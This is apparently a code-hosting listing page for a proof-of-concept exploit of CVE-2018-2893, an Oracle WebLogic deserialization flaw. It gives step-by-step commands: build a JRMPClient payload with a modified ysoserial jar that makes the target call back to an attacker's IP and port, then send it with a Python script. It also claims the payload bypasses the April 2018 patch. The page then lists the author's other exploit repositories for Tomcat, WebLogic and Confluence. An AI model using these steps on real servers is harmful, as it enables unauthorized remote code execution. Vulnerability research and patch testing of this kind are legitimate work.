pyn3rd/CVE-2018-2893

Stars
104
Rank 328,698 (Top 7 %)
Language
Python
Created about 6 years ago
Updated almost 6 years ago

pyn3rd/CVE-2018-2893

pyn3rd

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

CVE-2018-2893-PoC

CVE-2018-2893

Step 1

java -jar ysoserial-cve-2018-2893.jar

WHY SO SERIAL?
Usage: java -jar ysoserial-cve-2018-2893.jar [payload] '[command]'
Available payload types:
     Payload     Authors   Dependencies
     -------     -------   ------------
     JRMPClient  @mbechler
     JRMPClient2 @mbechler
     JRMPClient3 @mbechler
     JRMPClient4 @mbechler
     Jdk7u21     @frohoff

Step 2

java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "[IP]:[PORT]" > poc4.ser

Step 3

python weblogic.py [HOST] [PORT] poc4.ser

Note: Any one of JRMPClient2|JRMPClient3|JRMPClient4 can be utilized to bypass the Critical Patch Update April 2018.

Spring-Boot-Vulnerability

CVE-2019-0232

Apache Tomcat Remote Code Execution on Windows

CVE-2018-3245

CVE-2018-3245-PoC

Apache-Tomcat-MongoDB-Remote-Code-Execution

Apache Tomcat + MongoDB Remote Code Execution

my-presentation-slide

CVE-2018-3252

CVE-2018-3252-PoC

CVE-2019-2618

Weblogic Unrestricted File Upload

CVE-2019-3396

Confluence Widget Connector RCE

Apache-Tomcat-Redis-Remote-Code-Execution

Apache-Tomcat-Redis-Remote-Code-Execution

pyn3rd.github.io

HSTS-SuperCookies